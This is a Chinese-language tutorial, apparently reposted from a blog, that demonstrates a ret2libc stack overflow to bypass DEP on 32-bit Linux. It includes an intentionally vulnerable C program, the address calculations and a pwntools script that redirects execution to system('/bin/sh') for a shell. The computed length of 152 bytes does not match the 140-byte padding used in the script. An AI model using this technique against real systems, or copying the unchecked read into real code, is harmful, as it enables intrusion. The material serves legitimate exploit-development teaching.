Linux下利用Ret2Libc繞過DEP
⑴. 原理分析:
系統庫函數通常是不受DEP(關于DEP,可以檢視我之前文章的詳細介紹)保護的,是以通過将傳回位址指向系統函數可以繞過DEP保護,是以可以通過調研系統函數system()獲得shell。
⑵.環境準備:
i.漏洞代碼:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void flow(){
char buf[128];
read(STDIN_FILENO,buf,256);
}
int main(){
flow();
char a[]="hello";
write(STDOUT_FILENO,a,strlen(a));
return 0;
}
編譯指令:
gcc -fno-stack-protector -g -m32 -o vuln vuln.c
ii.測試環境:
測試系統:kaii 2.0 rolling
輔助插件:peda
⑶.測試分析:
i.存在漏洞的函數flow傳回位址:

漏洞函數傳回位址:0xffffd2ac。
ii.緩沖區起始位址:
緩沖區起始位址:0xffffd220
iii. 系統函數system()位址
iv.System參數:”/bin/sh”
v. system函數源碼:
int system(const char * cmdstring)
{
pid_t pid;
int status;
if(cmdstring == NULL){
return (1);
}
if((pid = fork())<0){
status = -1;
}
else if(pid == 0){
execl("/bin/sh", "sh", "-c", cmdstring, (char *)0);
_exit(127); //子程序正常執行則不會執行此語句
}
else{
while(waitpid(pid, &status, 0) < 0){
if(errno != EINTER){
status = -1;
break;
}
}
}
return status;
}
⑷.攻擊過程:
i.計算攻擊shellcode長度:
我們的目的是用system函數的位址覆寫傳回位址,将system函數後的參數位址(後8位元組,後四位元組是傳回位址)覆寫為我們找到的”/bin/sh”的位址。
是以size(shellcode)= address(ret)- address(buff)+ 12 = 0xffffd2ac – 0xffffd220 + 12 = 152
ii. 設計shellcode結構:
注:因為我們劫持程式後獲得shell之後不會再傳回,是以addr(ret:system)可以是任意位址。
iii.編寫漏洞利用腳本:
from pwn import *
sh = 0xf7f4a808
system = 0xf7e0bc70
ret = 0x565555d4
payload = 'a'*140+p32(system)+p32(ret)+p32(sh)
p = process('./vuln')
p.send(payload)
p.interactive()
執行:
成功。
轉載于:https://www.cnblogs.com/zhang293/p/9156511.html